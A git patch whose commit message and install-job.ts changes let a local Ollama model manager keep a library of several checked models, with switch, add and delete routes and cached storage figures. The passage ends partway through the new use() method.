From 70dc42b248be767060a6e32f150aabc24b14d95a Mon Sep 17 00:00:00 2001 From: Codeman maintainer Date: Tue, 10 Nov 2026 23:52:14 +0100 Subject: [PATCH 01/11] feat(local-model): a library of models, with one in use The local model window could hold one model. A second install was refused (409 already-installed), and a model a Remove kept could never be freed from the window again. The store can now hold several models, and exactly one of them is the model in use: the one the endpoint record lists, the runtime is started for and a session may be launched on. Server - LocalModelStateFile.library lists every model that passed the check (id, label, context, digest, size, coding agent). The service writes the entry when verify passes; the reducer carries it and remove drops it. An installed file of an earlier build counts its one model. - POST /api/local-model/install is allowed from installed: it adds a model, and the earlier one stays. A replaced job no longer deletes a model of the library, only an unchecked or partial download. - POST /api/local-model/use switches to a checked model: a job of the two steps verify and connect. The stored digest is compared before anything is loaded (model-changed otherwise). Nothing is downloaded. - DELETE /api/local-model/models deletes one model by its name, through the runtime's own delete, never by a path, never the model in use. - Adding and switching answer 409 sessions-open while a live session uses the endpoint. Until such a job ends installed, a session start is refused with the new code job-unfinished. - The view carries library (the state's entries joined with what the running runtime lists: ready, changed, missing, unverified) and store (the size of the blob folder). Both are cached and refreshed in the background, never read on the one-second poll. - With nothing installed, remove is offered while the store still holds models an earlier Remove kept. Window - The installed screen lists the models on this Mac with the context each was checked with, its state and its size on disk, with Use and Delete per row (Delete asks once, in the row) and Add a model. - In the chooser a model that is on this Mac already says so and is switched to without a download or a confirm screen. - A paused or failed job that has a checked model beside it shows the way back to that model. Every route is admin only in multi-user mode, like the existing ones. Not run on a Mac: the tests use fakes and the fake runtime, and the listing, store size and delete were checked against a real Ollama 0.13.0 on Linux, not the pinned 0.40.15 build for macOS. Co-Authored-By: Claude Fable 5.2 --- src/local-model/install-job.ts | 761 ++++++++++++++++++++--- src/local-model/runtime.ts | 39 ++ src/local-model/state-store.ts | 39 ++ src/types/local-model-install.ts | 157 ++++- src/types/local-model.ts | 6 + src/web/public/i18n.js | 45 +- src/web/public/local-model-ui.js | 375 ++++++++++- src/web/public/mobile.css | 60 ++ src/web/public/styles.css | 206 ++++++ src/web/routes/local-model-routes.ts | 47 +- src/web/schemas.ts | 6 + test/fixtures/fake-ollama.ts | 128 ++-- test/local-model-install-e2e.test.ts | 150 ++++- test/local-model-install-job.test.ts | 479 +++++++++++++- test/local-model-install-service.test.ts | 718 ++++++++++++++++++++- test/local-model-runtime.test.ts | 54 ++ test/local-model-state-store.test.ts | 83 +++ test/local-model-ui.browser.test.ts | 173 +++++- test/local-model-ui.test.ts | 563 ++++++++++++++++- test/routes/local-model-routes.test.ts | 194 +++++- 20 files changed, 4085 insertions(+), 198 deletions(-) diff --git a/src/local-model/install-job.ts b/src/local-model/install-job.ts index 77efab969..66cba2e12 100644 --- a/src/local-model/install-job.ts +++ b/src/local-model/install-job.ts @@ -6,6 +6,14 @@ * runtime, model, verify, agent, connect; `agent` is left out when the coding agent is * installed). Its state is one of five (`LocalModelInstallState`), stored in the state file. * + * A LIBRARY with ONE model in use. The store can hold several models; exactly one of them is + * the model in use: the one the saved endpoint record lists, the runtime is started for and a + * session may be launched on. `LocalModelStateFile.library` lists every model that passed the + * check through Codeman. A job makes its model the one in use when it ends: an install (also + * from `installed`, which adds a model and keeps the earlier ones) or a switch (`use`, the two + * steps `USE_JOB_STEPS`: nothing is downloaded, the model is loaded and checked again and its + * digest must still be the stored one). + * * The state table. "On disk" names what lies under the local model folder; the two writes * outside it belong to the `connect` step. * @@ -17,12 +25,15 @@ * | | the current step has written so far | same step; nothing resumes | the same step | | * | | (see the step table) | without a click | | | * | `paused` | as `installing` at that step, nothing in | stays `paused` | refused (409) | resume, install (another | - * | | flight | | | choice), remove | + * | | flight | | | choice), use (a checked model), | + * | | | | | delete a model, remove | * | `failed` | as `installing` at that step, nothing in | stays `failed`, same error | refused (409) | resume (try again), install | - * | | flight | | | (another choice), remove | + * | | flight | | | (another choice), use, delete a | + * | | | | | model, remove | * | `installed` | the runtime, the private home, the model | stays `installed`; the | refused (409) | start a session, start or stop | - * | | | runtime is started again | | the runtime, remove | - * | | | when it was not stopped | | | + * | | in use and every other model of the | runtime is started again | | the runtime, install (add a | + * | | library | when it was not stopped | | model), use, delete a model, | + * | | | | | remove | * * The step table. Every step is IDEMPOTENT, so Resume and "Try again" re-enter the step the * job stopped in; they first make sure the runtime runs when the step needs it. @@ -62,10 +73,23 @@ * `mutateLocalModelState()` and never change the state. * - A job read as `installing` at boot was interrupted by the restart: the service applies * the event `restart` before anything else, so it is `paused` and waits for a click. - * - A new install from `paused` or `failed` REPLACES the job. When it names another model, - * what the old job left of its model is deleted from the store first: the model through the - * runtime when it was downloaded whole, and the partial blobs of a download that was - * interrupted (the runtime knows no model for those, so they are deleted as files). + * - A new install or a switch from `paused` or `failed` REPLACES the job. When it names another + * model, what the old job left of its model is deleted from the store first: the model + * through the runtime when it was downloaded whole, and the partial blobs of a download that + * was interrupted (the runtime knows no model for those, so they are deleted as files). A + * model of the library is never deleted that way: it was checked, and it stays until the + * person deletes it. + * - Installing another model and switching change which model the runtime holds (it holds + * one), and often its context. Both are refused (409 `sessions-open`) while live sessions + * use the endpoint, like Stop: their coding agents were started with the other model's name. + * - While a job that started from `installed` is not finished (`installing`, `paused`, + * `failed`), no session is started: the launch check wants the state `installed`. `use` on + * the earlier model is the way back. + * - A model is deleted ONLY through the runtime (`deleteModel()`), by a name that is in the + * server's own listing (the library or the runtime's tags), never by a path. The model of + * the installation or of the current job is refused (`model-active`): switch first, or + * Remove. Deleting moves no state: it is not an event of the reducer, and whether a state + * allows it is the `delete-model` action of its row in `INSTALL_STATE_TABLE`. * - Install is checked before anything is downloaded: admin only in multi-user mode; the * model, the context and the coding agent must be a row the current recommendation offers; * the coding agent must be a harness row of the catalogue; `acknowledgedBytes` must be the @@ -106,6 +130,10 @@ * process runs no job, which is what a restart leaves too. * - Stop and "Use another port" are refused (409 `sessions-open`) while live sessions use * the model: their coding agents were given the address when they started. + * - The view's `library` joins the state file's checked models with what the running runtime + * lists, and `store` is the disk use of the blob folder. Neither is asked for on every + * one-second poll: both are cached (`TAGS_RECHECK_MS`, `STORE_RECHECK_MS`), refreshed in the + * background, and thrown away by every verb and step that changes them. */ import { appendAdminAudit } from '../web/admin-audit.js'; @@ -120,7 +148,7 @@ import { } from '../cli-install-runner.js'; import { getCli } from '../config/cli-registry/registry.js'; import { getDataDir } from '../config/instance.js'; -import { getLocalModelCatalog } from '../config/local-model-catalog.js'; +import { getLocalModelCatalog, LOCAL_MODEL_ID_PATTERN } from '../config/local-model-catalog.js'; import { readCustomModelHosts } from '../custom-model-hosts.js'; import { getErrorMessage, @@ -135,6 +163,7 @@ import { type LocalModelAction, type LocalModelCatalog, type LocalModelConflict, + type LocalModelDeleteRequest, type LocalModelDeveloperTools, type LocalModelErrorCode, type LocalModelInstallError, @@ -143,6 +172,9 @@ import { type LocalModelInstallState, type LocalModelInstallStep, type LocalModelInstallView, + type LocalModelLibraryAction, + type LocalModelLibraryEntry, + type LocalModelLibraryRow, type LocalModelNextStep, type LocalModelProgress, type LocalModelRemoveRequest, @@ -150,6 +182,7 @@ import { type LocalModelRuntimePin, type LocalModelRuntimeRequest, type LocalModelStateFile, + type LocalModelUseRequest, type Recommendation, type RecommendOptions, } from '../types.js'; @@ -177,10 +210,12 @@ import { getRuntimeVersion, listOpenAiModels, listRunning, + listTags, pullModel, readModelDigest, verifyModel, type OllamaPsModel, + type OllamaTagModel, type OllamaTarget, type PullOptions, type PullResult, @@ -193,6 +228,7 @@ import { createRuntimeSupervisor, ensureRuntimeInstalled, isRuntimeInstalled, + measureModelStore, OLLAMA_RUNTIME_PIN, removeLocalModelFiles, removePartialModelBlobs, @@ -224,7 +260,9 @@ export interface InstallStateRow { /** * Every action a client may take in this state. The view's `actions` is this list narrowed * by what is live (`allowedActions()`): `start` only while the runtime is down, `stop` and - * `start-session` only while it runs, `start-session` only when nothing blocks a session. + * `start-session` only while it runs, `start-session` only when nothing blocks a session, + * `use` and `delete-model` only while a row of the library offers them, and in `idle` + * `remove` only while the model store still holds something. */ actions: readonly LocalModelAction[]; } @@ -238,7 +276,7 @@ export const INSTALL_STATE_TABLE: Readonly entry.id === model.id)) { + entries.unshift({ + id: model.id, + label: model.label, + context: model.context, + digest: model.digest, + ...(model.pullBytes ? { bytes: model.pullBytes } : {}), + ...(state.cli ? { cli: state.cli } : {}), + }); + } + return entries; +} + +/** `library` with `entry` in the place of the one with its id, or at the end. Pure. */ +export function upsertLibraryEntry( + library: readonly LocalModelLibraryEntry[], + entry: LocalModelLibraryEntry +): LocalModelLibraryEntry[] { + const index = library.findIndex((existing) => existing.id === entry.id); + if (index === -1) return [...library, entry]; + const next = [...library]; + next[index] = entry; + return next; +} + +/** + * The model whose leftovers a new job for `nextId` deletes from the store first: the model of + * the job it replaces when that is another model, else one that was already waiting to be + * deleted. Never a model of the library (it was checked and stays until the person deletes + * it), and never the model that is wanted now. Pure. + */ +function replacedModelFor( + current: LocalModelStateFile, + nextId: string, + library: readonly LocalModelLibraryEntry[] +): string | undefined { + const checked = (id: string): boolean => library.some((entry) => entry.id === id); + const replaced = + current.model && current.model.id !== nextId && !checked(current.model.id) ? current.model.id : undefined; + const pending = replaced ?? current.replacedModelId; + return pending !== undefined && pending !== nextId && !checked(pending) ? pending : undefined; +} + /** The steps a job runs, in order: all of `LOCAL_MODEL_INSTALL_STEPS`, without `agent` when the coding agent is installed. Pure. */ export function jobSteps(input: { agentInstalled: boolean }): LocalModelInstallStep[] { return LOCAL_MODEL_INSTALL_STEPS.filter((step) => step !== 'agent' || !input.agentInstalled); @@ -446,12 +551,13 @@ const isByteCount = (value: number): boolean => Number.isSafeInteger(value) && v /** * The state file after `event`. Pure: no IO, no clock (`updatedAt` is the state store's * business). Refuses an event the transition table does not list for the current state by - * returning `current` itself. Keeps `runtime` and `connection` across a new install, because - * what they record is still on disk; `remove` drops everything. + * returning `current` itself. Keeps `runtime`, `connection` and `library` across a new install + * or a switch, because what they record is still on disk; `remove` drops everything. * * An event that is listed but cannot be applied is refused the same way: an `install` whose - * steps are not a job's, a `progress` that is not two byte counts, a `step-done` on a state - * without a step, and a last `step-done` on a job that has no runtime recorded. + * steps are not a job's, a `use` of a model that is not in the library or on a state without a + * runtime, a `progress` that is not two byte counts, a `step-done` on a state without a step, + * and a last `step-done` on a job that has no runtime recorded. */ export function reduceInstallJob(current: LocalModelStateFile, event: InstallJobEvent): LocalModelStateFile { if (INSTALL_TRANSITIONS[current.state][event.type] === undefined) return current; @@ -465,9 +571,10 @@ export function reduceInstallJob(current: LocalModelStateFile, event: InstallJob ) { return current; } - // What the replaced job left of ANOTHER model is deleted before the new one is pulled. - const pending = current.model && current.model.id !== event.model.id ? current.model.id : current.replacedModelId; - const replacedModelId = pending !== undefined && pending !== event.model.id ? pending : undefined; + // What the replaced job left of ANOTHER model is deleted before the new one is pulled, + // unless that model is one of the library. + const library = libraryOf(current); + const replacedModelId = replacedModelFor(current, event.model.id, library); return { schema: 1, state: 'installing', @@ -477,6 +584,30 @@ export function reduceInstallJob(current: LocalModelStateFile, event: InstallJob ...(replacedModelId ? { replacedModelId } : {}), cli: { id: event.cli.id, label: event.cli.label }, ...(current.runtime ? { runtime: current.runtime } : {}), + ...(library.length > 0 ? { library } : {}), + ...(current.connection ? { connection: current.connection } : {}), + }; + } + case 'use': { + const library = libraryOf(current); + // Only a checked model can be switched to, and only where a runtime was set up. + if (!current.runtime || !library.some((entry) => entry.id === event.model.id)) return current; + const replacedModelId = replacedModelFor(current, event.model.id, library); + return { + schema: 1, + state: 'installing', + step: USE_JOB_STEPS[0], + steps: [...USE_JOB_STEPS], + model: { + id: event.model.id, + label: event.model.label, + context: event.model.context, + digest: event.model.digest, + }, + ...(replacedModelId ? { replacedModelId } : {}), + cli: { id: event.cli.id, label: event.cli.label }, + runtime: current.runtime, + library, ...(current.connection ? { connection: current.connection } : {}), }; } @@ -501,6 +632,7 @@ export function reduceInstallJob(current: LocalModelStateFile, event: InstallJob cli: current.cli, runtime: current.runtime, ...(current.loaded ? { loaded: current.loaded } : {}), + ...(current.library ? { library: current.library } : {}), ...(current.connection ? { connection: current.connection } : {}), }; } @@ -553,6 +685,16 @@ export interface InstallLiveFacts { pin: LocalModelRuntimePin; /** `LocalModelPaths.root`, for the "where it goes" line. */ folder: string; + /** + * What the RUNNING runtime lists on disk (`/api/tags`), as last read. Absent while the + * runtime is down or before the first read: the library then shows the state file's entries + * as they were recorded, and offers no delete. + */ + tags?: readonly { name: string; size: number; digest: string }[]; + /** What the model store takes on disk (`measureModelStore()`), once measured. */ + storeBytes?: number; + /** The catalogue's label per model id, for a model the runtime lists and the state file does not know. */ + labels?: Readonly>; } /** An error code with its sentence, its slots and its one next step. Pure. */ @@ -604,12 +746,96 @@ export function installedBlocker( return undefined; } -/** The actions the server accepts right now: the state row's list narrowed by what is live. Pure. */ -export function allowedActions(state: LocalModelStateFile, live: InstallLiveFacts): LocalModelAction[] { +/** + * The models on this Mac, for the view: the checked models of the state file joined with what + * the running runtime lists. The model in use first, then the other checked models in the + * order they were checked, then what the runtime lists beside them, by name. Pure. + * + * What a row offers: + * - `use`: a checked model the runtime does not contradict (`ready`), in a state whose row of + * `INSTALL_STATE_TABLE` lists `use`, unless it is the model of the installation (in use + * already) or of the stopped job (Resume goes on with that one). + * - `delete`: any model the running runtime lists, in a state that lists `delete-model`, + * unless it is the model of the installation or of the current job, and unless its name is + * not a plain `name:tag` (`LOCAL_MODEL_ID_PATTERN`): the delete route takes no other name. + * A checked model the runtime no longer lists (`missing`) can be deleted too: that drops + * its entry. + */ +export function buildLibraryRows(state: LocalModelStateFile, live: InstallLiveFacts): LocalModelLibraryRow[] { + if (state.state === 'idle') return []; + const stateActions = INSTALL_STATE_TABLE[state.state].actions; + const tags = live.running ? live.tags : undefined; + const jobModelId = state.model?.id; + const canDelete = (id: string): boolean => + stateActions.includes('delete-model') && tags !== undefined && id !== jobModelId && LOCAL_MODEL_ID_PATTERN.test(id); + const sized = (bytes: number | undefined): Pick => + bytes !== undefined && bytes > 0 ? { sizeBytes: bytes, sizeGb: formatGb(bytes) } : {}; + + const rows: LocalModelLibraryRow[] = []; + const entries = libraryOf(state); + for (const entry of entries) { + const tag = tags?.find((listed) => listed.name === entry.id); + const active = state.state === 'installed' && entry.id === jobModelId; + let status: LocalModelLibraryRow['status'] = 'ready'; + if (tags !== undefined) { + if (!tag) status = 'missing'; + else if (compareModelDigest(entry.digest, tag.digest) === 'changed') status = 'changed'; + } + // The model in use is compared on its own schedule too: what blocks a session says so here. + if (active && live.digest === 'changed') status = 'changed'; + const actions: LocalModelLibraryAction[] = []; + // The model of the installation is in use already, and the model of a stopped job is + // what Resume goes on with: a switch is offered to every OTHER checked model. + if (stateActions.includes('use') && status === 'ready' && entry.id !== jobModelId) actions.push('use'); + if (canDelete(entry.id)) actions.push('delete'); + rows.push({ + id: entry.id, + label: entry.label, + context: entry.context, + ...sized(tag && tag.size > 0 ? tag.size : entry.bytes), + active, + verified: true, + status, + actions, + }); + } + rows.sort((a, b) => Number(b.active) - Number(a.active)); + + const others = (tags ?? []) + .filter((listed) => !entries.some((entry) => entry.id === listed.name)) + .sort((a, b) => (a.name < b.name ? -1 : a.name > b.name ? 1 : 0)); + for (const listed of others) { + rows.push({ + id: listed.name, + label: + live.labels?.[listed.name] ?? (listed.name === jobModelId && state.model ? state.model.label : listed.name), + ...sized(listed.size), + active: false, + verified: false, + status: 'unverified', + actions: canDelete(listed.name) ? ['delete'] : [], + }); + } + return rows; +} + +/** + * The actions the server accepts right now: the state row's list narrowed by what is live. + * `rows` is `buildLibraryRows()` of the same two arguments, for a caller that has it. Pure. + */ +export function allowedActions( + state: LocalModelStateFile, + live: InstallLiveFacts, + rows: readonly LocalModelLibraryRow[] = buildLibraryRows(state, live) +): LocalModelAction[] { const actions = INSTALL_STATE_TABLE[state.state].actions; - if (state.state !== 'installed') return [...actions]; const blocked = installedBlocker(state, live) !== undefined; return actions.filter((action) => { + if (action === 'use') return rows.some((row) => row.actions.includes('use')); + if (action === 'delete-model') return rows.some((row) => row.actions.includes('delete')); + // From idle a Remove only clears what an earlier one kept: offered while there is something. + if (state.state === 'idle') return action !== 'remove' || (live.storeBytes ?? 0) > 0; + if (state.state !== 'installed') return true; if (action === 'start') return !live.running; if (action === 'stop') return live.running; if (action === 'start-session') return live.running && !blocked; @@ -640,6 +866,7 @@ function buildProgress( /** The `install` object of the GET. Pure: every size text comes from `formatGb()`, every sentence from `LOCAL_MODEL_INSTALL_LABELS`. */ export function buildInstallView(state: LocalModelStateFile, live: InstallLiveFacts): LocalModelInstallView { const runtimeDownload = live.runtimeInstalled ? 0 : live.pin.bytes; + const library = buildLibraryRows(state, live); const view: LocalModelInstallView = { state: state.state, running: live.running, @@ -652,7 +879,9 @@ export function buildInstallView(state: LocalModelStateFile, live: InstallLiveFa unpackedGb: formatGb(live.pin.unpackedBytes), }, folder: live.folder, - actions: allowedActions(state, live), + library, + ...(live.storeBytes !== undefined ? { store: { bytes: live.storeBytes, gb: formatGb(live.storeBytes) } } : {}), + actions: allowedActions(state, live, library), }; if (state.state === 'idle') return view; @@ -699,6 +928,28 @@ export function buildInstallView(state: LocalModelStateFile, live: InstallLiveFa return view; } +/** + * `recommendation` with every row marked that is a checked model of the library at the row's + * context (`Candidate.library`): `active` for the model in use, `ready` for one a switch can + * take. The chooser then says the model is on this Mac and switches without a download. A + * recommendation with nothing to mark is handed back as it is. Pure. + */ +export function markLibraryCandidates(recommendation: Recommendation, view: LocalModelInstallView): Recommendation { + const mark = (candidate: Candidate): Candidate => { + const row = view.library.find( + (entry) => entry.verified && entry.id === candidate.modelId && entry.context === candidate.context + ); + if (!row) return candidate; + if (row.active) return { ...candidate, library: 'active' }; + return row.actions.includes('use') ? { ...candidate, library: 'ready' } : candidate; + }; + if (view.library.length === 0 || !recommendation.pick) return recommendation; + const pick = mark(recommendation.pick); + const alternatives = recommendation.alternatives.map(mark); + const changed = pick !== recommendation.pick || alternatives.some((row, i) => row !== recommendation.alternatives[i]); + return changed ? { ...recommendation, pick, alternatives } : recommendation; +} + /** A sentence of the install as plain English text, its slots filled. For an API error message and the log. Pure. */ export function formatInstallMessage(message: LocalModelInstallMessage): string { const vars = message.vars ?? {}; @@ -718,8 +969,11 @@ export interface LocalModelActor { /** How a verb ended: the view after it, a refusal with its sentence, or a 409 with its conflict. */ export type LocalModelVerbResult = | { ok: true; view: LocalModelInstallView } - /** 400: the request is not something the server offers. 507: nothing could be started because the disk is full. */ - | { ok: false; status: 400 | 507; message: LocalModelInstallMessage } + /** + * 400: the request is not something the server offers. 507: nothing could be started because + * the disk is full. 500: the runtime answered a delete with an error. + */ + | { ok: false; status: 400 | 500 | 507; message: LocalModelInstallMessage } | { ok: false; status: 409; conflict: LocalModelConflict }; /** @@ -759,8 +1013,12 @@ export interface LocalModelServiceDeps { listRunning: (target: OllamaTarget, signal?: AbortSignal) => Promise; getRuntimeVersion: (target: OllamaTarget, signal?: AbortSignal) => Promise; deleteModel: (target: OllamaTarget, modelId: string, signal?: AbortSignal) => Promise; + /** The models the runtime has on disk, with their sizes and digests: the library's live half. */ + listTags: (target: OllamaTarget, signal?: AbortSignal) => Promise; /** `removePartialModelBlobs()` of src/local-model/runtime.ts: what an interrupted download left in the model store. Resolves with the bytes freed. */ removePartialModelBlobs: (paths?: LocalModelPaths) => Promise; + /** `measureModelStore()` of src/local-model/runtime.ts: what the model store takes on disk, in bytes. */ + measureModelStore: (paths?: LocalModelPaths) => Promise; // src/local-model/developer-tools.ts checkDeveloperTools: () => Promise; // src/cli-install-runner.ts @@ -800,9 +1058,11 @@ export interface LocalModelService { /** * Whether a session may be started on the saved endpoint `endpointId` right now. `undefined`: * yes, which is also the answer for every endpoint that is not this feature's. Otherwise the - * error that refuses the launch. While the runtime child Codeman started is not alive - * (whatever answers on the port then is not ours), the reason is the one that is known: - * `port-in-use`, `runtime-stopped`, `runtime-start-failed`, else `runtime-not-running`. + * error that refuses the launch. While a job that changes the model in use is running or + * stopped (any state but `installed` that holds a connection of ours) it is `job-unfinished`. + * While the runtime child Codeman started is not alive (whatever answers on the port then + * is not ours), the reason is the one that is known: `port-in-use`, `runtime-stopped`, + * `runtime-start-failed`, else `runtime-not-running`. * While it runs, the digest is read again: `model-changed` when it is not the stored one or * the model is gone. Every path that starts a coding agent on the managed endpoint asks * this first (see the file header for the list). Never throws. @@ -817,8 +1077,34 @@ export interface LocalModelService { launchRefusalMessage(endpointId: string, modelId: string): Promise; /** What the GET passes to `recommend()`: the stored measured total and the runtime download that is still needed. */ recommendOptions(): Promise; - /** `POST /api/local-model/install`. Answers once the job is STARTED; the job runs on in the server. */ - install(request: LocalModelInstallRequest, actor: LocalModelActor): Promise; + /** + * `POST /api/local-model/install`. Answers once the job is STARTED; the job runs on in the + * server. From `installed` it adds a model: the earlier ones stay in the library, and the new + * one becomes the model in use when the job ends. `liveSessionNames` as for `remove()`: not + * empty answers 409 `sessions-open` while a connection of ours exists. + */ + install( + request: LocalModelInstallRequest, + actor: LocalModelActor, + liveSessionNames?: readonly string[] + ): Promise; + /** + * `POST /api/local-model/use`: switch to a checked model of the library. Answers once the + * job (`USE_JOB_STEPS`) is STARTED. Nothing is downloaded. `liveSessionNames` as for + * `remove()`. + */ + use( + request: LocalModelUseRequest, + actor: LocalModelActor, + liveSessionNames?: readonly string[] + ): Promise; + /** + * `DELETE /api/local-model/models`: delete one model from the store, through the runtime. + * The name must be in the server's own listing (the library or the runtime's tags). Refused + * for the model of the installation or of the current job, while a job runs and while the + * runtime is down. + */ + deleteLibraryModel(request: LocalModelDeleteRequest, actor?: LocalModelActor): Promise; /** `POST /api/local-model/cancel`. Answers once the step in flight was interrupted. */ cancel(): Promise; /** @@ -872,6 +1158,12 @@ const PROGRESS_FLUSH_MS = 5_000; const DIGEST_RECHECK_MS = 30_000; /** How long a read of the runtime's listings may take. */ const RUNTIME_READ_TIMEOUT_MS = 5_000; +/** How long the runtime's list of models stays good for the view. Every verb and step that changes the store throws it away. */ +const TAGS_RECHECK_MS = 5_000; +/** How long a measurement of the model store stays good for the view. */ +const STORE_RECHECK_MS = 30_000; +/** How long the view waits for the FIRST listing and measurement. Later ones are read in the background. */ +const FIRST_LISTING_WAIT_MS = 300; /** The window a download speed is measured over when the source reports none. */ const SPEED_WINDOW_MS = 5_000; /** How much of an installer's output is kept as the error detail. */ @@ -899,6 +1191,8 @@ function conflict( 'size-changed': LOCAL_MODEL_INSTALL_LABELS.conflictSizeChanged, 'sessions-open': LOCAL_MODEL_INSTALL_LABELS.conflictSessionsOpen, 'wrong-state': LOCAL_MODEL_INSTALL_LABELS.conflictWrongState, + 'model-active': LOCAL_MODEL_INSTALL_LABELS.conflictModelActive, + 'runtime-not-running': LOCAL_MODEL_INSTALL_LABELS.errRuntimeNotRunning, }[reason]; return { ok: false, status: 409, conflict: { reason, message: { text, ...(vars ? { vars } : {}) }, ...extra } }; } @@ -960,6 +1254,12 @@ class LocalModelServiceImpl implements LocalModelService { private startFailed: { detail?: string } | undefined; private digestStatus: 'same' | 'changed' | 'unknown' | undefined; private digestCheckedAt = 0; + /** What the runtime on `port` last listed on disk, and when. Thrown away whenever the store may have changed. */ + private tagsCache: { at: number; port: number; tags: OllamaTagModel[] } | undefined; + private tagsRefresh: Promise | undefined; + /** What the model store last took on disk, and when. */ + private storeCache: { at: number; bytes: number } | undefined; + private storeRefresh: Promise | undefined; constructor(deps: Partial) { const pin = deps.pin ?? OLLAMA_RUNTIME_PIN; @@ -983,7 +1283,9 @@ class LocalModelServiceImpl implements LocalModelService { listRunning, getRuntimeVersion, deleteModel, + listTags, removePartialModelBlobs, + measureModelStore, checkDeveloperTools: () => checkDeveloperTools(), stockInstallCommand, tryBeginCliInstall, @@ -1346,6 +1648,86 @@ class LocalModelServiceImpl implements LocalModelService { }).catch(() => {}); } + // ---------- The library's live half ---------- + + /** The store changed, or may have: the next view reads the runtime's list and the disk again. */ + private forgetStore(): void { + this.tagsCache = undefined; + this.storeCache = undefined; + } + + /** + * Reads what the running runtime lists on disk. A runtime that does not answer leaves the + * last list in place: "it has no models" and "it said nothing" must not look alike, or every + * checked model would read as missing for a moment. Never throws. + */ + private refreshTags(state: LocalModelStateFile): Promise { + const port = state.runtime?.port; + if (port === undefined || !this.deps.supervisor.status().running) { + this.tagsCache = undefined; + return Promise.resolve(); + } + this.tagsRefresh ??= (async () => { + try { + const target = baseUrlOf(port); + const version = await this.deps.getRuntimeVersion(target, AbortSignal.timeout(RUNTIME_READ_TIMEOUT_MS)); + if (version === undefined) return; + const tags = await this.deps.listTags(target, AbortSignal.timeout(RUNTIME_READ_TIMEOUT_MS)); + this.tagsCache = { at: this.deps.now(), port, tags }; + } catch { + /* the last list stays */ + } finally { + this.tagsRefresh = undefined; + } + })(); + return this.tagsRefresh; + } + + /** Measures the model store on disk. Never throws. */ + private refreshStore(): Promise { + this.storeRefresh ??= (async () => { + try { + const bytes = await this.deps.measureModelStore(this.paths()); + this.storeCache = { at: this.deps.now(), bytes }; + } catch { + /* the last figure stays */ + } finally { + this.storeRefresh = undefined; + } + })(); + return this.storeRefresh; + } + + /** + * Keeps the two caches of the view current WITHOUT making the one-second poll wait for the + * runtime or the disk: a stale figure is refreshed in the background, and only a figure that + * was never read is waited for, briefly. + */ + private async freshenListings(state: LocalModelStateFile): Promise { + const now = this.deps.now(); + const first: Promise[] = []; + if (!this.storeCache || now - this.storeCache.at >= STORE_RECHECK_MS) { + const run = this.refreshStore(); + if (!this.storeCache) first.push(run); + } + const port = state.runtime?.port; + if (port === undefined || !this.deps.supervisor.status().running) { + this.tagsCache = undefined; + } else if (!this.tagsCache || this.tagsCache.port !== port || now - this.tagsCache.at >= TAGS_RECHECK_MS) { + const known = this.tagsCache?.port === port; + const run = this.refreshTags(state); + if (!known) first.push(run); + } + if (first.length === 0) return; + let timer: NodeJS.Timeout | undefined; + const waited = new Promise((resolve) => { + timer = setTimeout(resolve, FIRST_LISTING_WAIT_MS); + timer.unref(); + }); + await Promise.race([Promise.all(first), waited]); + clearTimeout(timer); + } + // ---------- The view ---------- private async liveFacts(state: LocalModelStateFile): Promise { @@ -1358,14 +1740,18 @@ class LocalModelServiceImpl implements LocalModelService { } let nextModel: InstallLiveFacts['nextModel']; const nextModelId = state.error?.nextModelId; - if (nextModelId) { - try { - const entry = this.deps.getCatalog().models.find((model) => model.id === nextModelId); - if (entry) nextModel = { modelId: entry.id, modelLabel: entry.label }; - } catch { - /* no model is offered then */ - } + let labels: Record | undefined; + try { + const models = this.deps.getCatalog().models; + const entry = nextModelId ? models.find((model) => model.id === nextModelId) : undefined; + if (entry) nextModel = { modelId: entry.id, modelLabel: entry.label }; + labels = Object.fromEntries(models.map((model) => [model.id, model.label])); + } catch { + /* no model is offered then, and a model the state file does not know keeps its name */ } + const port = state.runtime?.port; + const tags = + status.running && port !== undefined && this.tagsCache?.port === port ? this.tagsCache.tags : undefined; return { running: status.running, gaveUp: status.gaveUp, @@ -1378,6 +1764,9 @@ class LocalModelServiceImpl implements LocalModelService { ...(nextModel ? { nextModel } : {}), pin: this.deps.pin, folder: this.paths().root, + ...(tags ? { tags } : {}), + ...(this.storeCache ? { storeBytes: this.storeCache.bytes } : {}), + ...(labels ? { labels } : {}), }; } @@ -1403,6 +1792,7 @@ class LocalModelServiceImpl implements LocalModelService { this.digestCheckedAt = this.deps.now(); void this.refreshDigest(state).catch(() => {}); } + await this.freshenListings(state); return buildInstallView(state, await this.liveFacts(state)); } catch (err) { console.warn(`[local-model] Could not build the install view: ${getErrorMessage(err)}`); @@ -1440,7 +1830,10 @@ class LocalModelServiceImpl implements LocalModelService { // A record with the reserved id that this feature did not write is not ours to judge. if (state.connection?.endpointId !== endpointId) return undefined; const status = this.deps.supervisor.status(); - if (state.state !== 'installed' || !state.runtime || !state.model || !status.running) { + // A job that changes the model in use runs or stopped: the record may still name the + // earlier model, and nothing is started on it until a job ended `installed` again. + if (state.state !== 'installed') return buildInstallError('job-unfinished'); + if (!state.runtime || !state.model || !status.running) { if (this.portInUse) return buildInstallError('port-in-use', { vars: this.errorVars('port-in-use', state) }); if (status.gaveUp) return buildInstallError('runtime-stopped'); if (this.startFailed) return buildInstallError('runtime-start-failed', { next: 'start' }); @@ -1493,12 +1886,26 @@ class LocalModelServiceImpl implements LocalModelService { return { ok: true, view: await this.view() }; } - install(request: LocalModelInstallRequest, actor: LocalModelActor): Promise { + install( + request: LocalModelInstallRequest, + actor: LocalModelActor, + liveSessionNames: readonly string[] = [] + ): Promise { return this.exclusive(async () => { await this.settle(); const state = await this.currentState(); if (state.state === 'installing') return conflict('job-running'); - if (state.state === 'installed') return conflict('already-installed'); + // The model in use at the context it runs with: there is nothing to install. + if ( + state.state === 'installed' && + state.model?.id === request.modelId && + state.model.context === request.context + ) { + return conflict('already-installed'); + } + // Another model takes the runtime (it holds one) and often restarts it for its context. + const open = this.sessionsOpen(state, liveSessionNames); + if (open) return open; // Everything below is checked against what the server itself offers right now, before // anything is downloaded. @@ -1548,6 +1955,7 @@ class LocalModelServiceImpl implements LocalModelService { steps: jobSteps({ agentInstalled: harness.installed }), }); if (refused) return refused; + this.forgetStore(); void this.deps .audit({ admin: actor.username, @@ -1561,15 +1969,145 @@ class LocalModelServiceImpl implements LocalModelService { }); } + use( + request: LocalModelUseRequest, + actor: LocalModelActor, + liveSessionNames: readonly string[] = [] + ): Promise { + return this.exclusive(async () => { + await this.settle(); + const state = await this.currentState(); + if (state.state === 'installing') return conflict('job-running'); + if (INSTALL_TRANSITIONS[state.state].use === undefined) return conflict('wrong-state'); + const entry = libraryOf(state).find((candidate) => candidate.id === request.modelId); + if 